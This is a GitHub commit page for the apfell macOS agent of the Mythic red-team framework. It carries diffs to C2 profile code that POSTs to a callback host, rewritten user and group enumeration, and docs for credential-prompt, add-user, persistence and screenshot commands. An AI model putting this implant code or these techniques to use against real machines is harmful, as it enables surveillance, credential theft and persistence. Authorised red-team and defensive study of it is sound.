Skip to content

Commit

Permalink
Merge pull request #2 from D00MFist/master
Browse files Browse the repository at this point in the history
Updates for macOS Monterey (12.0) and small doc updates
  • Loading branch information
its-a-feature authored Jan 15, 2022
2 parents 5296332 + c1936d3 commit 85ebcea
Show file tree
Hide file tree
Showing 10 changed files with 89 additions and 104 deletions.
2 changes: 1 addition & 1 deletion Payload_Type/apfell/agent_code/c2_profiles/dynamichttp.js
Original file line number Diff line number Diff line change
Expand Up @@ -334,7 +334,7 @@ class customC2 extends baseC2{
}
if(method === "POST") {
req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
let postData = $(body).dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, true);
let postData = $(body).dataUsingEncodingAllowLossyConversion($.NSASCIIStringEncoding, true);
let postLength = $.NSString.stringWithFormat("%d", postData.length);
req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
req.setHTTPBody(postData);
Expand Down
4 changes: 2 additions & 2 deletions Payload_Type/apfell/agent_code/c2_profiles/http.js
Original file line number Diff line number Diff line change
Expand Up @@ -292,7 +292,7 @@ class customC2 extends baseC2{
if( (apfell.id === undefined || apfell.id === "") && (uid === undefined || uid === "")){ $.NSApplication.sharedApplication.terminate(this);}
let req = $.NSMutableURLRequest.alloc.initWithURL($.NSURL.URLWithString(url));
req.setHTTPMethod($.NSString.alloc.initWithUTF8String("POST"));
let postData = data.dataUsingEncodingAllowLossyConversion($.NSString.NSASCIIStringEncoding, true);
let postData = data.dataUsingEncodingAllowLossyConversion($.NSASCIIStringEncoding, true);
let postLength = $.NSString.stringWithFormat("%d", postData.length);
req.addValueForHTTPHeaderField(postLength, $.NSString.alloc.initWithUTF8String('Content-Length'));
for(let i = 0; i < this.header_list.length; i++){
Expand Down Expand Up @@ -487,4 +487,4 @@ class customC2 extends baseC2{
}
//------------- INSTANTIATE OUR C2 CLASS BELOW HERE IN MAIN CODE-----------------------
ObjC.import('Security');
var C2 = new customC2(callback_interval, "callback_host", "callback_port");
var C2 = new customC2(callback_interval, "callback_host", "callback_port");
132 changes: 52 additions & 80 deletions Payload_Type/apfell/agent_code/list_users.js
Original file line number Diff line number Diff line change
@@ -1,99 +1,71 @@
exports.list_users = function(task, command, params){
let all_users = [];
let gid = -1;
let groups = false;
if(params.length > 0){
let data = JSON.parse(params);
if(data.hasOwnProperty('gid') && data['gid'] !== "" && data['gid'] > 0){
var all_users = [];
var gid = -1;
if (params.length > 0) {
var data = JSON.parse(params);
if (data.hasOwnProperty('gid') && data['gid'] !== "" && data['gid'] > 0) {
gid = data['gid'];
}
if(data.hasOwnProperty("groups") && data['groups'] !== ""){
groups = data['groups'];
}
}
}
ObjC.import('Collaboration');
ObjC.import('CoreServices');
if(gid < 0){
let defaultAuthority = $.CSGetLocalIdentityAuthority();
let identityClass = 2;
if(groups){
all_users = []; // we will want to do a dictionary so we can group the members by their GID
}
else{
identityClass = 1; //enumerate users
}
let query = $.CSIdentityQueryCreate($(), identityClass, defaultAuthority);
let error = Ref();
$.CSIdentityQueryExecute(query, 0, error);
let results = $.CSIdentityQueryCopyResults(query);
let numResults = parseInt($.CFArrayGetCount(results));
if(results.js === undefined){
results = $.CFMakeCollectable(results);
}
for(let i = 0; i < numResults; i++){
let identity = results.objectAtIndex(i);//results[i];
let idObj = $.CBIdentity.identityWithCSIdentity(identity);
if(groups){
//if we're looking at groups, then we have a different info to print out
all_users[i] = {};
all_users[i]["POSIXID"] = idObj.posixGID;
all_users[i]['aliases'] = ObjC.deepUnwrap(idObj.aliases);
all_users[i]['fullName'] = ObjC.deepUnwrap(idObj.fullName);
all_users[i]['POSIXName'] = ObjC.deepUnwrap(idObj.posixName);
all_users[i]['members'] = [];
let members = idObj.memberIdentities.js;
for(let j = 0; j < members.length; j++){
let info = {
"POSIXName": members[j].posixName.js,
"POSIXID": members[j].posixUID,
"LocalAuthority": members[j].authority.localizedName.js,
"FullName": members[j].fullName.js,
"Emails": members[j].emailAddress.js,
"isHiddenAccount": members[j].isHidden,
"Enabled": members[j].isEnabled,
"Aliases": ObjC.deepUnwrap(members[j].aliases),
"UUID": members[j].UUIDString.js
};
all_users[i]['members'].push(info);
}
}
else{
let info = {
if (gid < 0) {
var defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
var grouptolook = 1000 //Most systems don't have groups past 700s
for (var x = 0; x < grouptolook; x++) {
var group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(x, defaultAuthority);
validGroupcheck = group.toString()
if (validGroupcheck == "[id CBGroupIdentity]") {
var results = group.memberIdentities.js;

var numResults = results.length;
for (var i = 0; i < numResults; i++) {
var idObj = results[i];
var info = {
"POSIXName": idObj.posixName.js,
"POSIXID": idObj.posixUID,
"POSIXID": idObj.posixUID,
"POSIXGID": group.posixGID,
"LocalAuthority": idObj.authority.localizedName.js,
"FullName": idObj.fullName.js,
"Emails": idObj.emailAddress.js,
"Emails": idObj.emailAddress.js,
"isHiddenAccount": idObj.isHidden,
"Enabled": idObj.isEnabled,
"Aliases": ObjC.deepUnwrap(idObj.aliases),
"UUID": idObj.UUIDString.js
};
all_users.push(info);
all_users.push(info);
}

}
}
}
else{
let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority);
let results = group.memberIdentities.js;
let numResults = results.length;
for(let i = 0; i < numResults; i++){
let idObj = results[i];
let info = {
"POSIXName": idObj.posixName.js,
"POSIXID": idObj.posixUID,
"LocalAuthority": idObj.authority.localizedName.js,
"FullName": idObj.fullName.js,
"Emails": idObj.emailAddress.js,
"isHiddenAccount": idObj.isHidden,
"Enabled": idObj.isEnabled,
"Aliases": ObjC.deepUnwrap(idObj.aliases),
"UUID": idObj.UUIDString.js
};
return {
"user_output": JSON.stringify(all_users, null, 2),
"completed": true
}
} else {
var defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
var group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority);
var results = group.memberIdentities.js;
var numResults = results.length;
for (var i = 0; i < numResults; i++) {
var idObj = results[i];
var info = {
"POSIXName": idObj.posixName.js,
"POSIXID": idObj.posixUID,
"POSIXGID": group.posixGID,
"LocalAuthority": idObj.authority.localizedName.js,
"FullName": idObj.fullName.js,
"Emails": idObj.emailAddress.js,
"isHiddenAccount": idObj.isHidden,
"Enabled": idObj.isEnabled,
"Aliases": ObjC.deepUnwrap(idObj.aliases),
"UUID": idObj.UUIDString.js
};
all_users.push(info);
}
}
return {"user_output":JSON.stringify(all_users, null, 2), "completed": true};
return {
"user_output": JSON.stringify(all_users, null, 2),
"completed": true
};
};

9 changes: 1 addition & 8 deletions Payload_Type/apfell/mythic/agent_functions/list_users.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,13 +14,6 @@ def __init__(self, command_line):
default_value=-1,
description="Enumerate users in a specific group or -1 for all groups",
),
"groups": CommandParameter(
name="groups",
type=ParameterType.Boolean,
required=False,
default_value=False,
description="Enumerate groups and their members ",
),
}

async def parse_arguments(self):
Expand All @@ -47,7 +40,7 @@ class ListUsersCommand(CommandBase):
async def create_tasking(self, task: MythicTask) -> MythicTask:
if task.args.get_arg("gid") < 0:
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
artifact="$.CSGetLocalIdentityAuthority, $.CSIdentityQueryCreate, $.CSIdentityQueryExecute",
artifact="$.CBIdentityAuthority.defaultIdentityAuthority, $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority",
artifact_type="API Called",
)
else:
Expand Down
6 changes: 6 additions & 0 deletions documentation-payload/apfell/commands/add_user.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,12 @@ Add a local user to the system by wrapping the Apple binary, dscl.
- Version: 1
- Author: @its_a_feature_


{{% notice tip %}}
For `Authenticate as this user` and `Authenticate with this password` dropdowns to be available, add credentials under the Operational Views tab in Mythic
{{% /notice %}}


### Arguments

#### password
Expand Down
7 changes: 7 additions & 0 deletions documentation-payload/apfell/commands/current_user.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,13 @@ This uses AppleEvents or ObjectiveC APIs to get information about the current us
- Version: 1
- Author: @its_a_feature_


{{% notice warning %}}
If the `JXA` method is selected:
In Mojave+ (10.14+) this will cause a popup the first time asking for permission for your process to access System Events.
{{% /notice %}}


### Arguments

#### method
Expand Down
16 changes: 6 additions & 10 deletions documentation-payload/apfell/commands/list_users.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ hidden = false

## Summary

This uses JXA to list the non-service user accounts on the system. You can specify a GID to look at the users of a certain group or you can specify 'groups' to be true and enumerate users by groups
This uses JXA to list the non-service user accounts on the system. You can specify a GID to look at the users of a certain group or you can use '-1' for GID to enumerate users for groups 0-1000
- Needs Admin: False
- Version: 1
- Author: @its_a_feature_
Expand All @@ -18,13 +18,11 @@ This uses JXA to list the non-service user accounts on the system. You can speci

- Description: Enumerate users in a specific group or -1 for all groups
- Required Value: False
- Default Value: None
- Default Value: None

#### groups

- Description: Enumerate groups and their members
- Required Value: False
- Default Value: None
{{% notice tip %}}
If -1 for all groups is used, there may be duplicate users shown if they are memebers of multiple groups
{{% /notice %}}

## Usage

Expand All @@ -38,9 +36,7 @@ list_users
- T1069
## Detailed Summary

- If gid is -1 and groups is false, enumerates all users and prints their info
- If gid is -1 and groups is true, enumerate all groups and their members
- If gid is -1, enumerates all users and prints their info
- If gid > 0, enumerate all users within the specified group

All of these options are done via the Collaboration and CoreServices Frameworks and queried via API calls.

Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,9 @@ Use Folder Actions to persist a compiled script on disk. You can either specify
- Version: 1
- Author: @its_a_feature_

{{% notice warning %}} In Mojave+ (10.14+) this will cause a popup the first time asking for permission for your process to access System Events. {{% /notice %}}
{{% notice warning %}}
In Mojave+ (10.14+) this will cause a popup the first time asking for permission for your process to access System Events.
{{% /notice %}}

### Arguments

Expand Down
6 changes: 6 additions & 0 deletions documentation-payload/apfell/commands/prompt.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,12 @@ Create a custom prompt to ask the user for credentials where you can provide tit
- Version: 1
- Author: @its_a_feature_


{{% notice warning %}}
This can potentially hang the agent as dependent on user interaction, so be careful
{{% /notice %}}


### Arguments

#### title
Expand Down
7 changes: 5 additions & 2 deletions documentation-payload/apfell/commands/screenshot.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,11 @@ Use the built-in CGDisplay API calls to capture the display and send it back ove
- Version: 1
- Author: @its_a_feature_

{{% notice warning %}}
In Catalina+ (10.15+) there are TCC protections against this, so be careful
{{% /notice %}}


### Arguments

## Usage
Expand All @@ -38,5 +43,3 @@ let capture = bitmapimagerep.representationUsingTypeProperties($.NSBitmapImageFi
```
The screencapture is chunked and sent back to Mythic.

>**NOTE** With 10.15, there are protections against this, so be careful

0 comments on commit 85ebcea

Please sign in to comment.